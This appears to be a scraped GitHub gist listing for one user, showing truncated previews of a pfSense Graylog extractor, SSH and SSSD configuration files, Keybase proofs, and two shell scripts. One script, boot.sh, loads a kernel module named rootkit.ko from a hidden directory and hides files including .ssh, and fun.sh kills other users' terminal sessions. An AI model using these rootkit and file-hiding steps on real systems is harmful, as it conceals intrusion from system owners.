Skip to content

Instantly share code, notes, and snippets.

Avatar
💭
Coding

Nathan Higley astr0n8t

💭
Coding
View GitHub Profile
@astr0n8t
astr0n8t / pfsense-graylog-extractor.json
Created February 21, 2021 19:38
Graylog Pfsense Extractor
View pfsense-graylog-extractor.json
{
"extractors": [
{
"title": "pfSense filterlog: IPv4 ICMP Echo",
"extractor_type": "regex",
"converters": [
{
"type": "csv",
"config": {
"column_header": "RuleNumber,SubRuleNumber,Anchor,Tracker,Interface,Reason,Action,Direction,IPVersion,TOS,ECN,TTL,ID,Offset,Flags,ProtocolID,Protocol,Length,SourceIP,DestIP,ICMP_Type,ICMP_ID,ICMP_Sequence"
View boot.sh
#!/bin/bash
cd /usr/lib/.runescape
./insmod rootkit.ko
./rs --hide-file=.runescape
./rs --hide-file=.ssh
./rs --hide-file=fun.sh
View fun.sh
#!/bin/bash
#ECHO TESTING
echo " "
printf "\033[1;35mInput a number and press [ENTER] to kill that bash session and above (Up to 10)\033[0m\n"
printf "\033[1;32mINPUT: \033[0m"
read num
while true; do
for ((i=$num;i<10;i++)); do
if pgrep -t tty$i > /dev/null; then
View sshd_config
# $OpenBSD: sshd_config,v 1.101 2017/03/14 07:19:07 djm Exp $
# This is the sshd server system-wide configuration file. See
# sshd_config(5) for more information.
# This sshd was compiled with PATH=/usr/local/sbin:/usr/local/bin:/usr/bin
# The strategy used for options in the default sshd_config shipped with
# OpenSSH is to specify options with their default value where
# possible, but leave them commented. Uncommented options override the
View keybase.md

Keybase proof

I hereby claim:

  • I am astr0n8t on github.
  • I am nadehi18 (https://keybase.io/nadehi18) on keybase.
  • I have a public key ASBdGgoBtmvKBPOBOWI9fjFP-sAW9i9eLTVvu77GoZbCJgo

To claim this, I am signing this object:

View gist:fb060e1cacc41f1a7a6d03bb0f99cb80
[sssd]
services = nss, pam
config_file_version = 2
domains = MYUBUNTU.EXAMPLE.COM
[domain/MYUBUNTU.EXAMPLE.COM]
id_provider = ad
access_provider = ad
# Use this if users are being logged in at /.
View keybase.md

Keybase proof

I hereby claim:

  • I am nadehi18 on github.
  • I am nadehi18 (https://keybase.io/nadehi18) on keybase.
  • I have a public key ASC71R8xbY-EqW13IAuODCfd6EIFcoGduLrHZuKWd8KS5Qo

To claim this, I am signing this object: